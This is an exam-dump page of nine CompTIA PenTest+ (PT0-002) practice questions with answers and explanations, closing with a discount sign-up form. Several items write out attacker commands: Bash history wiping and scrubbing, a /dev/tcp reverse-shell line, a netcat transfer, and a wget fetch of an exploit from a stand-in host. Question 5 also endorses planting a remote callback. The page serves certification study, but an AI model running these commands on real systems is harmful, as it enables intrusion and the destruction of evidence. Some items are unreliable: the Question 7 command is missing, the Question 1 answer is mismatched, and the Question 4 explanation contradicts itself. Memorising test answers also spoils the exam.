PT0-002 CompTIA Practice Test Questions and Exam Dumps

Question No 1:

During a security assessment, a penetration tester successfully gains access to a Linux machine. After performing several reconnaissance and post-exploitation actions, the tester runs commands to manipulate the Bash history of the compromised session.

Which of the following best describes the intent behind clearing or manipulating the Bash history file?

A. Redirecting Bash history to /dev/null
B. Making a copy of the user's .bash_history file for enumeration
C. Covering tracks by deleting evidence from Bash history
D. Creating decoy files to confuse investigators

Correct Answer:
C. Covering tracks by clearing the Bash history

Explanation:

In penetration testing, especially during the post-exploitation phase, attackers often take steps to avoid detection. One common method is to remove evidence of their activity from system logs or shell history files like .bash_history.

The Bash shell automatically logs each command a user types into a file named ~/.bash_history. To avoid leaving traces, an attacker may execute commands like:

  • Clear the shell’s in-memory history (history -c)

  • Wipe the history file from disk (cat /dev/null > ~/.bash_history)

  • Disable writing new history records (unset HISTFILE)

All of these are designed to make post-attack forensics and investigation more difficult, effectively covering the attacker's tracks

Explanation of incorrect options:

  • A. Redirecting Bash history to /dev/null
    While technically plausible, this is not a standard method. Simply redirecting history doesn’t erase it.

  • B. Making a copy of the Bash history
    This would be for gathering intel, not for hiding actions.

  • D. Creating decoy files
    A deception tactic, but not directly related to Bash history.

In summary, attackers use Bash history manipulation to avoid detection. It is a classic technique and an important concept in both ethical hacking and incident response. Security teams often monitor changes to .bash_history or enforce shell logging through centralized solutions to detect such behavior.

Question No 2:

A penetration test that focuses on compliance is typically designed to ensure that a network or system adheres to specific regulatory standards and industry guidelines. The goal of this type of testing is not to perform a general security audit, but rather to verify that the required security measures are in place and functioning as expected according to the relevant compliance requirements.

What is the primary concern of a compliance-based penetration test?

A. Obtaining Personally Identifiable Information (PII) from the protected network.
B. Bypassing protection on edge devices.
C. Determining the efficacy of a specific set of security standards.
D. Obtaining specific information from the protected network.

Correct Answer: C. Determining the efficacy of a specific set of security standards.

Explanation:

Compliance-based penetration testing focuses on assessing whether a system or network meets specific regulatory and security standards required by industry regulations such as GDPR, HIPAA, PCI-DSS, or others. This type of penetration test is not about discovering vulnerabilities in the network for malicious exploitation, but rather ensuring that the protections mandated by regulations are effectively implemented and operational.

  • Option A (Obtaining PII): While penetration testing may involve attempting to access sensitive data, the primary focus of compliance testing is not to collect PII, but to verify that security measures are in place to protect it.

  • Option B (Bypassing protection on edge devices): While bypassing protections is a general goal in penetration testing, compliance testing specifically focuses on evaluating compliance with defined security standards, rather than testing specific devices like firewalls or edge devices.

  • Option C (Determining the efficacy of a specific set of security standards): This is the correct answer. Compliance penetration tests are focused on verifying that the implemented security controls meet the specific criteria outlined in industry regulations or standards (e.g., PCI-DSS, HIPAA). This helps organizations ensure they are meeting legal and regulatory requirements.

  • Option D (Obtaining specific information): This is a broader activity, which can be part of any penetration test, not specifically compliance-based testing.

Therefore, a compliance-based penetration test is specifically concerned with validating that an organization’s security practices align with the required standards and that these measures are functioning effectively to protect sensitive data.

Question No 3:

The MITRE ATT&CK framework provides a detailed and structured approach to understanding how attackers conduct intrusions into IT environments. It helps organizations identify the tactics, techniques, and procedures (TTPs) used by adversaries, allowing defenders to better anticipate and respond to threats.

When explaining the MITRE ATT&CK framework to a company's chief legal counsel, which of the following would be the MOST relevant benefit to highlight?

A. Understanding the tactics of a security intrusion can help disrupt them.
B. Scripts that are part of the framework can be imported directly into SIEM tools.
C. The methodology can be used to estimate the cost of an incident better.
D. The framework is static and ensures stability of a security program over time.

Correct Answer: A. Understanding the tactics of a security intrusion can help disrupt them.

Explanation:

The MITRE ATT&CK framework is an open-source, knowledge-based framework that is widely used by cybersecurity professionals to track and understand the behavior of adversaries during attacks. It provides a comprehensive map of the tactics, techniques, and procedures (TTPs) that attackers use throughout the different stages of an attack.

When explaining this framework to legal counsel, the focus should be on how understanding these tactics can improve the organization’s defensive posture. By identifying common tactics used by attackers, organizations can anticipate attack vectors and disrupt attacks earlier in the lifecycle. This proactive approach helps defenders to better prepare for attacks, leading to faster identification and mitigation of threats.

  • Option A (Understanding tactics to disrupt attacks): This is the correct answer because one of the primary benefits of the MITRE ATT&CK framework is that it helps defenders understand how an attack unfolds, which enables them to detect and interrupt adversary actions early.

  • Option B (Scripts for SIEM tools): While it is true that ATT&CK techniques can be mapped to security tool configurations (e.g., SIEMs), this is a more technical benefit, and it’s less relevant to a legal or non-technical audience.

  • Option C (Estimating the cost of an incident): While ATT&CK provides insight into attack techniques, it is not specifically designed to estimate financial costs. Cost estimation is typically handled by financial and risk management tools.

  • Option D (Static framework): This option is incorrect because the MITRE ATT&CK framework is dynamic, regularly updated with new techniques and procedures as attackers evolve.

In summary, the real benefit of the MITRE ATT&CK framework is its ability to enhance detection and response capabilities by offering clear visibility into how attackers operate, allowing organizations to improve defenses and reduce the impact of security incidents.

Question No 4: 

The OWASP Top 10 is a widely recognized list published by the Open Web Application Security Project (OWASP) that identifies the top security risks facing web applications. This list is designed to help organizations understand common vulnerabilities and prioritize remediation efforts.

Which of the following statements BEST describe the OWASP Top 10? (Choose two.)

A. The most critical risks of web applications.
B. A list of all the risks of web applications.
C. The risks defined in order of importance.
D. A web-application security standard.
E. A risk-governance and compliance framework.
F. A checklist of Apache vulnerabilities.

Correct Answers: A. The most critical risks of web applications. and C. The risks defined in order of importance.

Explanation:

The OWASP Top 10 is a globally recognized list that ranks the top security risks for web applications. It’s published periodically by the Open Web Application Security Project (OWASP) and aims to raise awareness about common web application security issues.

Here’s a breakdown of the correct options:

  • Option A (The most critical risks of web applications): This is the correct answer. The OWASP Top 10 focuses on critical and prevalent vulnerabilities that represent the highest risk to web applications. These risks include issues like SQL injection, cross-site scripting (XSS), and insecure deserialization. The list serves as a starting point for organizations to prioritize web application security.

  • Option C (The risks defined in order of importance): This is also correct. While the list itself does not imply a strict severity ranking, the OWASP Top 10 is often presented in a hierarchical format that groups vulnerabilities by their potential impact on application security. The vulnerabilities are typically ranked based on their prevalence, exploitability, and impact, but the list is more about raising awareness rather than establishing a precise order of severity.

The incorrect options:

  • Option B (A list of all the risks): The OWASP Top 10 does not cover all web application risks, only the most critical and common ones. It is not an exhaustive list.

  • Option D (A web-application security standard): The OWASP Top 10 is not a security standard but rather a guideline or awareness tool. Standards would include compliance frameworks like PCI-DSS or ISO 27001.

  • Option E (A risk-governance and compliance framework): While the OWASP Top 10 may help organizations in compliance efforts, it is not a formal governance or compliance framework.

  • Option F (A checklist of Apache vulnerabilities): The OWASP Top 10 is not specific to any one platform or technology; it is about general web application security risks that can affect all types of web applications, regardless of the technology used.

In conclusion, the OWASP Top 10 focuses on the most critical vulnerabilities in web applications and often ranks them by importance, helping organizations understand and mitigate web security risks effectively.

Question No 5: 

A penetration tester has discovered a discovery traversal vulnerability in an application that allows for unauthorized file uploads to specific server paths. The tester notices that several files, including sensitive configurations and scripts, are exposed through this vulnerability.

Which of the following is the BEST method for an attacker to exploit this vulnerability and gain internal access to the affected machine?

A. Edit the discovered file with one line of code for a remote callback
B. Download .pl (Perl) files and look for usernames and passwords
C. Edit the smb.conf file and upload it to the server
D. Download the smb.conf file and examine configurations

Correct Answer:
A. Edit the discovered file with one line of code for a remote callback

Explanation:

In the scenario presented, the penetration tester has discovered a file upload vulnerability, potentially allowing the attacker to upload malicious files or alter existing files on the server. To exploit this vulnerability and gain internal access to the machine, the attacker would likely attempt to use the uploaded files for malicious purposes, such as establishing a reverse shell (callback) or gaining control over the system.

Why Option A is correct:

  • Edit the discovered file with one line of code for remote callback:
    This is the best method for an attacker to gain access. The attacker could edit a discovered file (such as a .php or .pl script) to include a one-liner that establishes a reverse shell or a callback connection to the attacker's machine. When the file is executed on the server, it connects back to the attacker's system, giving them remote access to the machine. The key here is using remote callback techniques to initiate communication from the victim server to the attacker's system.

Why Other Options Are Incorrect:

  • B. Download .pl files and look for usernames and passwords:
    While this could be useful for gathering information, it doesn’t directly lead to internal access. The attacker would be looking for sensitive credentials, but this isn’t the most efficient method for immediately gaining internal access.

  • C. Edit the smb.conf file and upload it to the server:
    The smb.conf file is used to configure Samba, a service that enables file sharing over a network. While modifying this file could enable file sharing or remote access, it’s not the most direct method for exploiting the server via a file upload vulnerability. It also assumes the server is running Samba and that it’s exploitable in this context.

  • D. Download the smb.conf file and examine configurations:
    Downloading the smb.conf file might give insights into network sharing configurations, but simply viewing the file doesn't lead to immediate exploitation. Without modifying the file, this step is not directly helpful for gaining internal access.

In penetration testing, the most efficient method for exploiting a file upload vulnerability is to inject code that can execute a reverse shell, allowing the attacker to gain remote access to the server. This method is effective in bypassing security defenses and gaining internal access.

Question No 6:

A company has obtained permission from its cloud service provider to conduct a vulnerability scan on their cloud-hosted data. The company wants to test the security of its hosted infrastructure and ensure that sensitive data is protected.

Which of the following should the penetration tester verify FIRST to assess the security risk associated with the hosted data?

A. Whether sensitive client data is publicly accessible
B. Whether the connection between the cloud and the client is secure
C. Whether the client's employees are trained properly to use the platform
D. Whether the cloud applications were developed using a secure SDLC

Correct Answer:
A. Whether sensitive client data is publicly accessible

Explanation:

In cloud environments, data security is paramount, and understanding how exposed sensitive data is can help identify key vulnerabilities. The first step in assessing security is to ensure that sensitive client data is not publicly accessible or exposed to unauthorized users.

Why Option A is correct:

  • Whether sensitive client data is publicly accessible:
    The first priority in any security assessment is to check whether sensitive data is inadvertently exposed. This could involve checking if the data storage, such as Amazon S3 buckets or other cloud-based storage services, is configured with improper permissions that could make client data accessible to unauthorized parties. Ensuring that access control and encryption are correctly configured is vital to protect client data from potential breaches.

Why Other Options Are Incorrect:

  • B. Whether the connection between the cloud and the client is secure:
    While it's important to verify that communication between the cloud provider and clients is encrypted (e.g., using TLS), this is a secondary concern compared to ensuring that sensitive data is not exposed. Public data access poses a more immediate threat than secure connections, which can typically be ensured via proper configuration.

  • C. Whether the client’s employees are trained properly to use the platform:
    While employee training is crucial for security, it is not the first action to verify in a vulnerability scan. Ensuring data protection and access control should come first, before assessing human factors like training.

  • D. Whether the cloud applications were developed using a secure SDLC:
    The Software Development Lifecycle (SDLC) should certainly be examined for secure coding practices, but this step comes after ensuring that data exposure and access controls are correct. SDLC concerns focus more on vulnerabilities within the code, while the public accessibility of data is a higher priority.

In summary, when assessing cloud security, verifying whether sensitive data is publicly accessible should always be the first step. This is the most critical point of entry for attackers, and ensuring secure access controls is fundamental before tackling other aspects like secure connections or secure development practices.

Question No 7:

During a penetration test, a tester ran the following command on a staging server to start a simple HTTP server:


This command creates a basic HTTP server on port 9891, allowing files from the current directory to be accessed over HTTP. The tester now wants to download a file named exploit to a target machine and execute it.

Which of the following commands can be used to download the file named "exploit" from the server to the target machine for execution?

A. nc 10.10.51.50 9891 < exploit
B. powershell -exec bypass -f \\10.10.51.50\9891
C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
D. wget 10.10.51.50:9891/exploit

Correct Answer: D. wget 10.10.51.50:9891/exploit

Explanation:

In this scenario, the penetration tester has used Python to start a simple HTTP server on port 9891, making the current directory’s files available over HTTP. The goal now is to download a file named exploit from this server to the target machine and execute it.

Let’s evaluate each option:

  • Option A: nc 10.10.51.50 9891 < exploit
    The nc (Netcat) command can be used for network communication, but this command attempts to use Netcat to send the contents of a local file (exploit) to the server. While Netcat is often used for creating reverse shells or transferring data, this command won’t download the file from the server to the target machine. Instead, it’s used to push data to the listening machine.

  • Option B: powershell -exec bypass -f \\10.10.51.50\9891
    This command is an attempt to use PowerShell to execute a file from a network share. However, there are several issues:

    • PowerShell’s execution policy would need to be configured properly for it to execute a remote script, and the backslash (\\) typically references a shared folder, not an HTTP server.

    • This command doesn't properly form the URL needed to download a file over HTTP.

  • Option C: bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
    This command seems to be attempting to open a reverse shell using a Bash TCP connection, but the syntax is incorrect. Bash is being used to connect to the server over TCP, but "0&1/exploit" is invalid syntax and does not correctly direct the Bash shell to download or execute the exploit file.

  • Option D: wget 10.10.51.50:9891/exploit
    wget is a simple command-line tool to download files from the web via HTTP, HTTPS, or FTP. This command properly specifies the target server’s IP (10.10.51.50), port (9891), and the file (/exploit) that is hosted on the HTTP server. The file will be downloaded from the server to the target machine, making this the correct and simplest approach for this task.

Question No 8:

After successfully exploiting a vulnerability on a system, a penetration tester gains access to the system and is performing post-exploitation tasks. The tester retrieves a piece of code that was used for the exploit and now needs to clean up the system to maintain access or cover their tracks.

Which of the following commands should the penetration tester run after the engagement to help cover their tracks?

A. grep -v apache ~/bash_history > ~/.bash_history
B. rm -rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM apache /F

Correct Answer: A. grep -v apache ~/bash_history > ~/.bash_history

Explanation:

Post-exploitation activities are critical for a penetration tester to ensure they cover their tracks and maintain access, especially if they are conducting an engagement without detection. Let’s break down the commands listed:

  • Option A: grep -v apache ~/bash_history > ~/.bash_history
    This command helps remove specific entries from the Bash history file, in this case, any command related to “apache.” The Bash history contains a log of commands that were executed, and attackers often clear or modify this file to remove traces of their activities. Using grep -v, the tester filters out any line containing “apache,” ensuring that any commands related to exploiting Apache vulnerabilities are removed from the history file. This is a common step in post-exploitation to cover tracks and maintain anonymity.

  • Option B: rm -rf /tmp/apache
    This command would delete a directory or file named apache in the /tmp folder. While clearing temporary files might help in some cases, it is not directly related to covering up the execution history of commands or files. This command is useful for cleaning up files, but it does not deal with the Bash history or tracking logs.

  • Option C: chmod 600 /tmp/apache
    The chmod command changes file permissions, and this command would make the apache file in the /tmp directory readable and writable only by the owner. This would limit access to the file, but it doesn’t directly affect the Bash history or logs and is not typically used for covering tracks after an exploitation.

  • Option D: taskkill /IM apache /F
    This command attempts to terminate the Apache process on a Windows system. It is used to stop running services or processes. While this might be useful during exploitation to disable services, it is not directly related to post-exploitation cleanup, particularly covering up the exploitation activity.

In summary, Option A is the correct choice because removing traces from the Bash history is a direct way to cover tracks and maintain stealth after executing exploits.

Question No 9: 

After performing a static application security test (SAST), a penetration tester is tasked with creating a report for a team of application developers. This report will provide insights into potential vulnerabilities in the code. The goal is to ensure developers can use the report to fix security issues effectively.

Which of the following is MOST important to include in the final report intended for the developers?

A. Executive summary of the penetration-testing methods used
B. Bill of materials including supplies, subcontracts, and costs incurred during the assessment
C. Quantitative impact assessments given a successful software compromise
D. Code context for instances of unsafe typecasting operations

Correct Answer: D. Code context for instances of unsafe typecasting operations

Explanation:

When conducting a static application security test (SAST), the primary goal is to identify security vulnerabilities in the source code. A SAST report is typically tailored to developers, as they will be responsible for fixing the issues identified. Therefore, the report should be written in a way that provides actionable, specific information for the development team.

Let’s review each option:

  • Option A: Executive summary of the penetration-testing methods used
    While an executive summary is important in some reports (particularly for non-technical stakeholders), for a report intended for developers, the focus should be on technical details. Developers need to know what specific issues they need to address, not a high-level overview of testing methods.

  • Option B: Bill of materials including supplies, subcontracts, and costs incurred during the assessment
    This option is unrelated to a security report for developers. While a bill of materials might be relevant for procurement or business reporting, developers need detailed technical information to fix vulnerabilities, not cost breakdowns.

  • Option C: Quantitative impact assessments given a successful software compromise
    Although a quantitative assessment of impact might be useful in some reports, for developers, the focus should be on identifying specific vulnerabilities and providing context and solutions. The goal is to help developers fix security flaws, not to provide a business-oriented risk analysis.

  • Option D: Code context for instances of unsafe typecasting operations
    Unsafe typecasting is a specific vulnerability that can lead to security risks such as buffer overflows, invalid memory access, and data corruption. The code context (i.e., where in the code the issue occurs, and why it’s a problem) is crucial for developers to understand the exact nature of the vulnerability. This helps developers to correct the vulnerability efficiently by providing them with relevant code examples and explanations, making this the most important information to include in a report for developers.

In conclusion, Option D is the correct choice because providing developers with specific code context for vulnerabilities enables them to take actionable steps to fix the issues identified in the static application security test.


UP

LIMITED OFFER: GET 30% Discount

This is ONE TIME OFFER

ExamSnap Discount Offer
Enter Your Email Address to Receive Your 30% Discount Code

A confirmation link will be sent to this email address to verify your login. *We value your privacy. We will not rent or sell your email address.

Download Free Demo of VCE Exam Simulator

Experience Avanset VCE Exam Simulator for yourself.

Simply submit your e-mail address below to get started with our interactive software demo of your free trial.

Free Demo Limits: In the demo version you will be able to access only first 5 questions from exam.